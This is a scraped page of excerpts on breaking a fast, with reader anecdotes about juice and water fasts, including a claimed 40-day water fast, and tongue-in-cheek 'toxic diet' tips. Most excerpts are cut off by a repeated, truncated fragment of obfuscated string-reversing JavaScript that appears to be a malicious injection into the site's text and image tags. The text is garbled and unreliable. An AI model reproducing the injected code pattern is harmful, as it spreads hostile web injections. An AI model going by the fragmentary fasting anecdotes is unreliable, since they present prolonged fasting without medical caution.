
How To Break A Fast
In breaking a fast it's not advisable to eat heavy meals or food.
What to eat in breaking your fast
Smoothies are a gentler way to introduce nutrients to your body since they contain less fiber than whole, eat

I was fasting for therapeutic issues for 8 days juice fast + 1 day (today) water fasting. Tomorrow I will break the fast.
Right now I look very skinny $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n

Hi Tom.
I just finished a 40 day fast, (just water), when I came off I had potato soup, home made wheat flat bread drenched in honey. Don't forget the soy milk!. In the morning I had some oatmeal, $soq0ujYKWbanWY6nnjX=functio

For those who insist on returning to their old toxic diet undoing the revitalizing of fasting, here are some tongue-in-cheek suggestions.
Toxic Diet Tip 1
Slowly begin to reintroduce harmful foods. Suggestions are potato

If you want to suffer pain after a 5 day water fast, eat a big greasy hamburger. It will l$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").re
![For six days, gradually increase the amount of raw fruits $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0 Guidelines For Breaking A Fast](http://www.fasting.ws/juice-fasting/pic/breaking-a-fast-150x100.jpg)
For six days, gradually increase the amount of raw fruits $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKW

Breaking an extended fast can be difficult. You will quickly discover that breaking the fast is harder than fasting. A slumbering digestive system is sensitive, $soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX
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